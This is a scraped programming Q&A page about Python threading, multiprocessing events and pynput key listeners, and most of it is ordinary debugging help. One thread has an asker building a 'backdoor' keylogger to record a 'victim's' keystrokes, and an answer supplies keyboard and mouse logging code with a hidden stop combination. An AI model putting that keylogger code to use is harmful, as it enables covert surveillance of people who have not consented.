How can I trigger an event twice in Python with multiprocessing - python

So I wrote simple test code and I'm trying to execute event twice, but it only works once. After turn_left_e.set() I clear inner flag with turn_left_e.clear() (I also check it in code) and trying execute event second time, but it won't start. Here is my code:
import time
from multiprocessing import Event, Process
def check_light_dir(turn_left_e, turn_right_e):
while True:
time.sleep(2)
var = random.randint(1, 10)
print(f"var: {var}")
if var < 5:
print(f"turn_left_e before set(): {turn_left_e.is_set()}")
turn_left_e.set()
else:
print(f"turn_right_e before set(): {turn_right_e.is_set()}")
turn_right_e.set()
def turn_left(turn_left_e):
turn_left_e.wait()
print(f"turn_left_e after set(): {turn_left_e.is_set()}")
print("Turning servo left")
turn_left_e.clear()
print(f"turn_left_e after clear(): {turn_left_e.is_set()}")
def turn_right(turn_right_e):
turn_right_e.wait()
print(f"turn_right_e after set(): {turn_right_e.is_set()}")
print("Turning servo right")
turn_right_e.clear()
print(f"turn_right_e after clear(): {turn_right_e.is_set()}")
def test():
turn_right_e = Event()
turn_left_e = Event()
check_light_dir_p = Process(target=check_light_dir, args=(turn_left_e, turn_right_e,))
turn_right_p = Process(target=turn_right, args=(turn_right_e,))
turn_left_p = Process(target=turn_left, args=(turn_left_e,))
check_light_dir_p.start()
turn_left_p.start()
turn_right_p.start()
check_light_dir_p.join()
turn_right_p.join()
turn_left_p.join()
if __name__ == "__main__":
print("start")
test()
print("stop")
Output:
start
var: 4
turn_left_e before set(): False
turn_left_e after set(): True
Turning servo left
turn_left_e after clear(): False
var: 10
turn_right_e before set(): False
turn_right_e after set(): True
Turning servo right
turn_right_e after clear(): False
var: 9
turn_right_e before set(): False
var: 10
turn_right_e before set(): True
var: 2
turn_left_e before set(): False
var: 5
turn_right_e before set(): True
Process finished with exit code -1
So 1st and 2nd iterations servo moved. Funny part starts here: in 3rd iteration "before set()" was false and in 4th "before set()" was true! It seems to trigger event but didn't jump into it - there never was 2nd print "servo moved ..." and inner flags are infinitely set to True.
I don't understand why does it happens. I clear() events, so they should trigger as long as conditions is satisfied right?

The issue is, that functions turn_left and turn_right exits after first Event set and their processes end. Put while True: inside them:
...
def turn_left(turn_left_e):
while True: # <--------
turn_left_e.wait()
print(f"turn_left_e after set(): {turn_left_e.is_set()}")
print("Turning servo left")
turn_left_e.clear()
print(f"turn_left_e after clear(): {turn_left_e.is_set()}")
def turn_right(turn_right_e):
while True: # <--------
turn_right_e.wait()
print(f"turn_right_e after set(): {turn_right_e.is_set()}")
print("Turning servo right")
turn_right_e.clear()
print(f"turn_right_e after clear(): {turn_right_e.is_set()}")
...

Related

Toggle key to run a thread then stop the thread when pressed again?

I'm currently working on a program and setup a toggle key that starts a thread when it's first clicked, and I want it to stop the thread when the key is pressed again. Currently I've tried this piece of code, but it came out with an error.
def on_press(key):
try: k = key.char
except: k = key.name
if key == (KeyCode(char='e')):
print("Key Pressed")
clicker = threading.Thread(target=run)
if running == False:
print("Starting")
clicker.start()
else:
print("Stopping")
clicker.join()
lis = keyboard.Listener(on_press=on_press)
lis.start() # start to listen on a separate thread
lis.join() # no this if main thread is polling self.keys
The error I get is:
raise RuntimeError("cannot join thread before it is started")
RuntimeError: cannot join thread before it is started**
You should check what you have in variable running - ie. print(running)- because it decides when to execute code inif/elseand it runsclick.join()directly after creatingThreadbefore you runclicker.start()`
As for me you should create therad inside if running == False
You should also use global to assing values to external variable - now you create local clicker which will be removed when it exits on_press and you will not have access to this thread. You should also change value running when you started thead`
BTW:
For True/False you should rather use is instead of ==
You can also use more readable if not running instead of if running is False:
I didn't test it
# from ... import ...
# --- functions ---
def on_press(key):
global running # inform function that it has to assign value to external variable
global clicker
try: # PEP8: don't put it in one line - it make code unreadable for human
k = key.char
except:
k = key.name
if key == KeyCode(char='e'):
print("Key Pressed")
if not running: # the same as `if running == False:`
print("Starting")
clicker = threading.Thread(target=run)
clicker.start()
running = True
else:
print("Stopping")
clicker.join()
running = False
# --- main ---
running = False # default value at start
lis = keyboard.Listener(on_press=on_press)
lis.start()
lis.join()
if you don't use running in other places in code then you could use clicker = None to control if thread is running.
# from ... import ...
# --- functions ---
def on_press(key):
global clicker # inform function that it has to assign value to external variable
try: # PEP8: don't put it in one line - it make code unreadable for human
k = key.char
except:
k = key.name
if key == KeyCode(char='e'):
print("Key Pressed")
if not clicker:
print("Starting")
clicker = threading.Thread(target=run)
clicker.start()
else:
print("Stopping")
clicker.join()
clicker = None
# --- main ---
clicker = None # default value at start
lis = keyboard.Listener(on_press=on_press)
lis.start()
lis.join()
BTW:
If thread is running then join() waits for its end - but it doesn't kill it so you may wait forever.
You should use value running also inside run() to stop it.
def run():
while running:
#... code ...
or
def run():
while True:
#... code ...
if not running:
return
#... code ...
and then you have to set running before start() and join()
if not running:
print("Starting")
clicker = threading.Thread(target=run)
running = True # it has to be before `start()`
clicker.start()
else:
print("Stopping")
running = False # it has to be before `join()`
clicker.join()
EDIT:
Minimal working code - I tested it.
from pynput import keyboard
import datetime
import time
import threading
# --- functions ---
def run():
print('Running thread')
while running:
print(datetime.datetime.now())
time.sleep(1)
print('Exiting thread')
def on_press(key):
global running # inform function that it has to assign value to external variable
global clicker
try: # PEP8: don't put it in one line - it make code unreadable for human
k = key.char
except:
k = key.name
if key == keyboard.KeyCode(char='e'):
print("Key Pressed")
if not running: # the same as `if running == False:`
print("Starting thread")
clicker = threading.Thread(target=run)
running = True # it has to be before `start()`
clicker.start()
else:
print("Stopping thread")
running = False # it has to be before `join()`
clicker.join()
# press `q` to exit
if key == keyboard.KeyCode(char='q'):
return False
# --- main ---
running = False # default value at start
try:
print("Starting program")
print("- press E to start/stop thread")
print("- press Q to exit")
print("- press Ctrl+C to exit")
lis = keyboard.Listener(on_press=on_press)
lis.start()
print("Listening ...")
lis.join()
print("Exiting program")
except KeyboardInterrupt:
print("Stoped by Ctrl+C")
else:
print("Stoped by Q")
finally:
if running:
running = False
clicker.join()
If the key pressed is the same as the start_stop_key, stop clicking if the running flag is set to true in the thread otherwise start it. If the key pressed is the exit key, call the exit method in the thread and stop the listener
start_stop_key = KeyCode(char='s')
exit_key = KeyCode(char='e')
...............
def on_press(key):
if key == start_stop_key:
if click_thread.running:
click_thread.stop_clicking()
else:
click_thread.start_clicking()
elif key == exit_key:
click_thread.exit()
listener.stop()

Stop While Loop mid execution in python

I am trying to stop a while loop mid execution, if I reverse the value of 'runWhile' mid execution it simply waits until it's over.
Problem: I need it to stop immediately whenever I press f10 on the keyboard.
from pynput import keyboard
import threading
import datetime, time
def exec():
while runWhile:
print("There I go")
time.sleep(3)
print("I overtaken")
time.sleep(3)
print("You cant stop me until I finish")
def on_press(key):
global runWhile # inform function to assign (`=`) to external/global `running` instead of creating local `running`
if key == keyboard.Key.f5:
runWhile = True
t = threading.Thread(target=exec)
t.start()
if key == keyboard.Key.f10:
# to stop loop in thread
print("loading STOPPED", datetime.datetime.now()) #, end='\r')
runWhile = False
if key == keyboard.Key.f11:
# stop listener
print("listener TERMINATED", datetime.datetime.now()) #, end='\r')
return False
#--- main ---
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
Im using pynput, docs here
based on #furas code
Here is a solution I made. I created my own delay function as follows:
def delay(amount): #delay time in seconds
for i in range(int(amount*60)):
time.sleep(0.01)
if runWhile == False:
return True
break
You would replace your delay(3) with
if delay(3):
break
This would wait 3 seconds, however if during that time, runWhile was false, it will break out of the loop. Your code would look like this:
from pynput import keyboard
import threading
import datetime, time
def delay(amount): #delay time in seconds
for i in range(int(amount*60)):
time.sleep(0.01)
if runWhile == False:
return True
break
def exec():
while runWhile:
print("There I go")
if delay(3):
break
print("I overtaken")
if delay(3):
break
print("You cant stop me until I finish")
def on_press(key):
global runWhile # inform function to assign (`=`) to external/global `running` instead of creating local `running`
if key == keyboard.Key.f5:
runWhile = True
t = threading.Thread(target=exec)
t.start()
if key == keyboard.Key.f10:
# to stop loop in thread
print("loading STOPPED", datetime.datetime.now()) #, end='\r')
runWhile = False
if key == keyboard.Key.f11:
# stop listener
print("listener TERMINATED", datetime.datetime.now()) #, end='\r')
return False
#--- main ---
with keyboard.Listener(on_press=on_press) as listener:
listener.join()

Pynput stop listener from "outside"

I started a little backdoor and i use a keylogger in it.
I use the pynput library and i wanted to know if it's possible to stop the pynput listener from an outside function or in the main loop.
Here is a code snippet :
class KeyLoggerThread(threading.Thread):
global Quit
def __init__(self):
super().__init__()
def run(self):
logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
def on_press(key):
logging.debug(str(key))
if key == Key.esc:
return False
with Listener(on_press = on_press) as listener:
listener.join()
Right now, i have to use the esc key with is not very practical due to the fact that this keylogger is used in my backdoor so when the victim press esc it quit the keylogger.
What i really want is to send a signal whenever i want to stop it (not from a key).
Thanks in advance, have a nice day !
You talk about keylogger... yeah, if you want a signal but not from a key then buy a remoter :))
In this sample code I maked a combo of 3 different things for password to not close listener events by mistake.
Hold middle/wheel mouse button, write a word ex.#admin (tap that key characters) and make shore you hade some text copyed... PS. I do not know to many peoples who write on keyboard with hand on mouse and holding the weel in the same time... That is just an example, be creative.
#// IMPORTS
import pyperclip
from pynput import keyboard, mouse
keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you
# released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
# are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
# and after you finish to write manual String_1
password = [False, "#dmin", ">> Double $$$ check! <<"]
pass_type = ""
class Keylogger:
def __init__(self):
Keylogger.Keyboard.Listener()
Keylogger.Mouse.Listener()
class Keyboard:
def Press(key):
if keylogger_stop == True: return False
else: print(f"K_K_P: {key}")
def Release(key):
global pass_type, keylogger_stop
# get copyed string + holding right mouse button pressed
if password[0] == True and pass_type == password[1]:
if pyperclip.paste().strip() == password[2]: keylogger_stop = True
else: password[0] = False; pass_type = ""
# write string password/word + holding right mouse button pressed
elif password[0] == True:
try: pass_type += key.char; print(pass_type, password[0])
except: pass
else: print(f"K_K_R: {key}")
def Listener():
l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
on_release = Keylogger.Keyboard.Release)
l.start()
class Mouse:
def Click(x, y, b, p):
global pass_type
if keylogger_stop == True: return False
# hold mouse button pressed, on release will reset the progress
elif b == mouse.Button.middle:
if p == True: password[0] = True
else: password[0] = False; pass_type = ""
else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
def Listener():
mouse.Listener(on_click = Keylogger.Mouse.Click).start()
class Main:
def __init__(self):
Keylogger()
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__":
Main()

Change the state of the condition variable for a while loop outside the while loop

I am currently trying to start and stop a while loop by a pressing a key (start) and stopping by releasing the key.
So something like this:
from pynput import keyboard
global condition
condition = False
def on_press(key):
global condition
if key == keyboard.Key.cmd_r:
print('pressed cmd_r'.format(key))
condition = True
else:
print('incorrect character {0}, press cmd_r'.format(key))
def on_release(key):
global condition
print('{0} released'.format(key))
if key == keyboard.Key.cmd_r:
condition = False
#keyboard.Listener.stop
#return False
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
while condition==True:
print "Condition true"
I am not sure why this is not working?..
It should in my head?
The issue is that when you call listener.join() your code waits at this point for the thread to complete. But it never will complete because it's always listening! Instead you want to call listener.start() so that the thread runs in the background and you are free to do what you want.
Sharing variables between threads is not generally accepted, so here I make a modified listener class that associates the variable key_pressed to itself when a key is pressed, and None when it is released. You can then do what you want with this variable by checking it at any time in a separate loop by calling listener.key_pressed
from pynput import keyboard
import time
class MyListener(keyboard.Listener):
def __init__(self):
super(MyListener, self).__init__(self.on_press, self.on_release)
self.key_pressed = None
def on_press(self, key):
self.key_pressed = key
def on_release(self, key):
self.key_pressed = None
listener = MyListener()
listener.start()
while True:
time.sleep(0.1)
print listener.key_pressed
Note that if you don't include a delay with time.sleep as above, you will overload the buffer and lead to delays in the output. Just put a small delay if you want it fast, but not zero.
You may need something like main loop where you can include your special while loop to achieve this.
Update 1 - How? (wrong)
while True:
# main loop
while condition:
# your special loop
# do something...
time.sleep(0.1) # sleep 0.1 seconds
The "main loop" is an infinite loop and executes included instructions every 0.1 second. Hence you provide the ability to keep checking the condition. If the condition == True your "special loop" is going to execute and it stops when the condition == False, and then the "main loop" continues its execution.
Update 2 - The implementation (correct)
Ok, I've run the code and I see that the "main loop" solution isn't right here. For now, I have quick, tested solution, based on multithreading:
import time
import threading
from pynput import keyboard
condition = False
def my_special_task():
global condition
while condition:
print("condition = %s" % condition)
time.sleep(0.1)
def on_press(key):
global condition
if key == keyboard.Key.ctrl_r:
print('Pressed ctrl_r')
condition = True
thread = threading.Thread(target=my_special_task)
thread.start()
else:
print("Incorrect KEY: %s, press ctrl_r instead" % key)
def on_release(key):
global condition
print("%s released" % key)
if key == keyboard.Key.ctrl_r:
condition = False
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()

Running one function without stopping another

How can I run a timer while asking for user input from the console? I was reading about multiprocessing, and I tried to use this answer: Python: Executing multiple functions simultaneously. When I tried to get it going, it gave me a bunch of framework errors.
Right now it runs start_timer(), but then stops it when it runs cut_wire().
Here's my start_timer function:
def start_timer():
global timer
timer = 10
while timer > 0:
time.sleep(1)
timer -= 1
sys.stdout.write ("There's only %i seconds left. Good luck. \r" % (timer))
sys.stdout.flush()
cut_wire()
if timer == 0:
print("Boom!")
sys.exit()
and this is the cut_wire function:
def cut_wire():
wire_choice = raw_input("\n> ")
if wire_choice == "cut wire" or wire_choice == "Cut Wire":
stop_timer()
else:
print("Boom!")
sys.exit()
Of course it stops running when it plays the cut_wire function because "raw_input" command reads the text and wait for the user to put the text and press enter.
My suggestion is to check for they key press "Enter" and when then key was press, read the line. If the key wasn't press, just continue with your timer.
Regards.
Instead of using raw_input() use this function taken from here.
def readInput( caption, timeout = 1):
start_time = time.time()
sys.stdout.write('\n%s:'%(caption));
input = ''
while True:
if msvcrt.kbhit():
chr = msvcrt.getche()
if ord(chr) == 13: # enter_key
break
elif ord(chr) >= 32: #space_char
input += chr
if len(input) == 0 and (time.time() - start_time) > timeout:
break
print '' # needed to move to next line
if len(input) > 0:
return input
else:
return ""
Thearding option
To make sure that both functions run completely simultaneously you can use this example of threading event:
import threading
event = threading.Event()
th = theading.Thread(target=start_timer, args=(event, ))
th1 = theading.Thread(target=cut_wire, args=(event, ))
th.start()
th1.start()
th.join()
th1.join()
In your function you can set an event using event.set(), check it using event.is_set() and clear it using event.clear().
Only addressing your concerns, here is a quick fix using threading :
import time
import sys
import os
def start_timer():
global timer
timer = 10
while timer > 0:
time.sleep(1)
timer -= 1
sys.stdout.write ("There's only %i seconds left. Good luck. \r" % (timer))
sys.stdout.flush()
#cut_wire() ==> separate call is easier to handle
if timer == 0:
print("Boom!")
os._exit(0) #sys.exit() only exits thread
def cut_wire():
wire_choice = raw_input("\n> ")
if wire_choice == "cut wire" or wire_choice == "Cut Wire":
stop_timer()
else:
print("Boom!")
os._exit(0) #same reason
if __name__ == '__main__':
import threading
looper = threading.Thread(target=start_timer)
looper.start()
cut_wire()

Categories

Resources